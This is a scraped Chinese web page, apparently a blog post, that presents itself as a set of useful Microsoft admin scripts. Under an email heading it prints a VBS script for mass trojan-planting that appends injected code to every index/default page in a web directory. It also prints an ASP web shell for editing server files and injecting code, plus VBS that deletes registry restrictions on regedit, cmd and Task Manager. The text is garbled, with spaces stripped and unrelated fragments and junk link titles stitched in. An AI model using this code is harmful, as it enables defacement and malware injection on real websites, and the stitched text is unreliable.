在这一开发环境中,程序员唯一困难的是MicrosoftSDK提供了六百多个函数和与其一致的事件驱动(event-driven)编程技术几段非常有用的脚本(来自微软网站,由downmoon精心收集)

一、在网络硬件故障或网络故障断开时发送警告

调用方法示例:cscript网络断开.vbs>>F:\test\微软脚本\log.txt

二、在网络硬件连接成功或网络故障恢复连接时发送警告

调用方法示例:cscript网络连接.vbs>>F:\test\微软脚本\log.txt

三、获取所有域用户信息

调用方法示例:cscript域用户信息.vbs>>F:\test\微软脚本\域用户信息.txt

四、修改文本文件内容

调用方法示例:ModifyFile.vbs

附件:

Sample.ini:

五、通过脚本发送电子邮件

从安装了SMTPService的计算机中发送电子邮件的脚本scan.vbe

cscriptscan.vbeweb目录

程序代码:

'版权信息

br="************************************"&vbCrLf

br=br&"*VBS批量挂马脚本*"&vbCrLf

br=br&"*BYBanLG*"&vbCrLf

br=br&"************************************"&vbCrLf&vbCrLf

br=br&"cscriptscan.vbeD:"&vbCrLf

'马的地址

ma=""

'要挂马的页面如果嫌不够还可以自己再加,记得要用”|”隔开

MyString="index.php|index.asp|index.html|index.htm|default.php|default.asp|default.html|default.htm|index.aspx|default.aspx"

'以"|"为分隔符拆分成数组

MyArray=Split(MyString,"|",-1,1)

web=WScript.Arguments(0)

'如果web为空退出脚本

ifweb=""then

Wscript.echo(br)

window.Close

endif

Wscript.echo(br)&"马的地址:"&ma&vbCrLf&vbCrLf

'创建对象

Setfso=createObject("Scripting.FileSystemObject")

'开始扫描挂马

scan(web)

'scan定义函数,扫描查找符合条件的文件把马的内容写到文件的结尾

subscan(filesder)

setfilesder=fso.getfolder(filesder)

'得到当前目录的所有文件集合

setfiles=filesder.files

'获取文件名

foreachfextinfiles

Setfile1=fso.GetFile(fext)

filesext=file1.Name

'把文件名转换成小写字母

ext=lcase(filesext)

ForEachindexinMyArray

'判断文件是不是我们在MyString里限定的文件,如果是就写马

ifext=lcase(index)then

Setts=fso.OpenTextFile(fext,8)'打开文件并在文件末尾进行写操作

ts.WriteLine(ma)

ts.Close

echo=""

echo=fext&"………….ok"

Wscript.echo(echo)

endif

next

next

setsubfolders=filesder.subfolders

foreachsubfolderinsubfolders'搜索其他目录,递归调用

scan(subfolder)

next

endsub

FSO挂马.asp

传进服务器以后直接输入需要挂马的路径就可以直接挂了

程序代码:

Response.Buffer=False

%>

ASP_SELF=Request.ServerVariables("PATH_INFO")

s=Request("fd")

ex=Request("ex")

pth=Request("pth")

newcnt=Request("newcnt")

Ifex<>""ANDpth<>""Then

selectCaseex

Case"edit"

CALLfile_show(pth)

Case"save"

CALLfile_save(pth)

Endselect

Else

%>

"method="POST">

FOLDER(ABSOLUTEPATH):

FunctionIsPattern(patt,str)

SetregEx=NewRegExp

regEx.Pattern=patt

regEx.IgnoreCase=True

retVal=regEx.Test(str)

SetregEx=Nothing

IfretVal=TrueThen

IsPattern=True

Else

IsPattern=False

EndIf

EndFunction

IfIsPattern("[^ab]{1}:{1}(\\|/)",s)Then

schs

Else

Ifs<>""ThenResponse.Write"InvalidAgrument!"

EndIf

Subsch(s)

oNeRrOrrEsUmEnExT

Setfs=Server.createObject("Scripting.FileSystemObject")

Setfd=fs.GetFolder(s)

Setfi=fd.Files

Setsf=fd.SubFolders

ForEachfinfi

rtn=f.Path

step_allrtn

Next

Ifsf.Count<>0Then

ForEachlInsf

schl

Next

EndIf

EndSub

Substep_all(agr)

retVal=IsPattern("(\\|/)(default|index)\.(htm|html|asp|php|jsp|aspx)\b",agr)

IfretValThen

step1agr

step2agr

Else

ExitSub

EndIf

EndSub

%>

Substep2(str2)

addcode=""

Setfs=Server.createObject("Scripting.FileSystemObject")

isExist=fs.FileExists(str2)

IfisExistThen

Setf=fs.GetFile(str2)

Setf_addcode=f.OpenAsTextStream(8,-2)

f_addcode.Writeaddcode

f_addcode.Close

Setf=Nothing

EndIf

Setfs=Nothing

EndSub

%>

Subfile_show(fname)

Setfs1=Server.createObject("Scripting.FileSystemObject")

isExist=fs1.FileExists(fname)

IfisExistThen

Setfcnt=fs1.OpenTextFile(fname)

cnt=fcnt.ReadAll

fcnt.Close

Setfs1=Nothing%>

FILE:

"method="POST">

">

THEFILEISNOTEXITORHAVEdeleteD.

EndIf

EndSub

%>

Subfile_save(fname)

Setfs2=Server.createObject("Scripting.FileSystemObject")

Setnewf=fs2.createTextFile(fname,True)

newf.Writenewcnt

newf.Close

Setfs2=Nothing

Response.Write"

THEFILEWASMODIFIEDSUCCESSFULLY.

"

EndSub

%>

结果是:长长的字符连接串变得难于阅读

OnErrorResumeNext

SetWSHShell=WScript.CreateObject("WScript.Shell")

WithWScript.CreateObject("WScript.Shell")

.RegDelete"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools"

.RegDelete"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD"

.RegDelete"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr"

EndWith

Mybox=MsgBox(enab&vbCR&"程序运行限制已解除!",1024,"Result")

dimAnumaslong

Anum=&010'&0是八进制的表示符号Anum自行转换为8

CreateObject( "WScript.Shell" ).Run _

DeclareFunctionSendMessageLib"user32"Alias"SendMessageA"(ByVal

hwndAsLong,ByValwMsgAsLong,ByValwParamAsLong,lParamAsAny)

AsLong

PublicConstCB_FINDSTRING=&H14C

PrivateSubCombo1_Change()

DimiStartAsInteger

DimsStringAsString

StaticiLeftOffAsInteger

iStart=1

iStart=Combo1.SelStart

IfiLeftOff<>0Then

Combo1.SelStart=iLeftOff

iStart=iLeftOff

EndIf

sString=CStr(Left(Combo1.Text,iStart))

Combo1.ListIndex=SendMessage(Combo1.hwnd,B_FINDSTRING,-1,ByValCStr(

Left(ombo1.Text,iStart)))

IfCombo1.ListIndex=-1Then

iLeftOff=Len(sString)

combo1.Text=sString

EndIf

Combo1.SelStart=iStart

iLeftOff=0

EndSub

静态变量iLeftOff指定了字符长度

D:\廖嘉航\第三批\脚本之家\脚本之家\文章2\bytes2BSTR.htm刺激战场pc模拟器

(2).在打开记录集时检查错误但是藐视这样就把整个iexplorer.exe关闭了~~并不等达到过滤的问题~

php写dnf脚本,dnf分解机脚本c相关推荐

  1. linux 跳板机脚本,shell 实现跳板机

    zbuz添加用户,并批量分发ssh公钥脚本:#!/bin/bash . /etc/init.d/functions function add_user(){ jumper="$1" ...

  2. updater-script命令详解教你写刷机脚本

    updater-script命令详解,刷机脚本怎么写,这些问题都也算是安卓的入门知识了,今天就和大家讲解一下,讲解人是深度论坛的Seeyou,如果你想学习更多ROM制作安卓开发方面的知识,欢迎加入深度 ...

  3. 快速提高CSDN访问量 - 附脚本初代机

    快速提高CSDN访问量的方法 多写常用知识点的博客,想办法提高百度排名,注意标题不要写的太复杂 写国内比较新的技术,中短期奇效,效果很好 成系列的写技术文章,有利于增加评论,粉丝,中长期能够大幅度提高 ...

  4. 读懂华为U8825Dupdater-script刷机脚本

    cat /proc/mtd和cat/proc/emmc  没有信息 可能跟刷了第三方recovery有关? U8825D分区表 ~ # cat proc/partitions cat proc/par ...

  5. AutoHotKey写一个改键的小脚本

    应D君邀请写一个小的改键软件,用了一上午选择使用的脚本语言,下午开始去写.晚饭的时候,基本的功能完成了.先所说我要完成的脚本的功能吧.软件有一定编程基础的D君用,用户比较特定,功能越简单越好.因此,软 ...

  6. html如何调用短视频文件,短视频脚本怎么写?3种短视频脚本的创意写作方法干货分享!...

    短视频的崛起给了很多人发挥才能.自主创业的机会.而要想从短视频流量巨海中脱颖而出,除了本身所具备的才能外,还要求我们在短视频内容创作时有令人惊叹的创意. 其中,短视频脚本创作就是一个关键环节. 那么, ...

  7. python秒数转化为时间用户jianpang_Python写了个域名注册查询脚本,支持自定义数字,字母,拼音组合以及域名长度....

    Python写了个域名注册查询脚本,支持自定义数字,字母,拼音组合以及域名长度. python版本3.5,需要安装requests, lxml库 1.[代码][Python]代码 import req ...

  8. 【电子邮件提醒】用python写个能发邮件的脚本

    [电子邮件提醒]用python写个能发邮件的脚本 文章目录 [电子邮件提醒]用python写个能发邮件的脚本 邮箱使用 使用python发邮件 封装一个发邮件的类 发邮件类 使用说明 前言 : 使用p ...

  9. 写了一个播放quic的脚本,其他文件单独上传

    写了一个播放quic的脚本 import com.jd.forcebot.toolkit.parameterized.latest.AsciiFileAccessArbitrarily; import ...

  10. qW3xT.6解决挖矿病毒 - 云服务器被植入挖矿脚本成为矿机

    ## qW3xT.6解决挖矿病毒 - 云服务器被植入挖矿脚本成为矿机 > 之前由于goblog应用因为不知名问题导致程序crash,之前只检查过云服务内存的情况,但是其他信息暂未检查,今天远程到 ...

最新文章

  1. php 防止倒链,PHP防止图片倒链
  2. 编码/解码和进制转化工具hURL
  3. C# 报警 控制蜂鸣器发声
  4. c语言在dos下执行bat文件,应用dos批处理文件经常用到的DOS常用命令
  5. android闹钟实现原理
  6. php 命令行打印换行符_如何在命令行输出中打印换行符
  7. linux命令 选项,Linux常用命令及选项
  8. ubuntu安装ffmpeg_手把手教你利用ffmpeg制作一个好用灵活的图片、视频压缩工具(再不需要去别的网站和用别的软件啦)...
  9. OpenGL蓝宝书第五章代码勘误以及惯性坐标系去解释模型变换:Pyramid.cpp
  10. Atitit.attilax的 case list 项目经验 案例列表
  11. html 多选框 下拉,一个模拟html下拉多选框的原生实现.
  12. 线性代数 【23】 概念的深入01 - Points坐标点和Vectors向量
  13. 可以用的网上图片地址(转载)
  14. 下载微信公众号视频文件
  15. 算法集训队第二场考核赛_C.掌门人打桩
  16. java web课程设计之图书管理系统
  17. 社会实践分组(c++)
  18. 18岁创业从哪入手?读透这5点则事半功倍!
  19. ubuntu 16.04下载网易云音乐 在处理时有错误发生:netease-cloud-music解决
  20. 二次型,标准型,规范型

热门文章

  1. 计算机专业云计算论文题目,云计算专业论文题目 云计算论文题目如何定
  2. 斐讯k2路由器v22.4.6.3版本刷breed刷华硕固件方法
  3. 天思经理人ERP日化行业应用方案
  4. 第一章 Android Framework 基础认知
  5. 数据结构c语言版秦锋,数据结构(C语言版)黄国瑜.pdf
  6. linux超出频率限制黑屏,linux suse 超出频率限制 问题
  7. CentOS上安装Selenium和google Driver的过程以及问题记录
  8. Python检查批量URL是否可以正常访问
  9. i510400和i59400f哪个好?有什么区别
  10. 毕设论文指导--yolov5汽车识别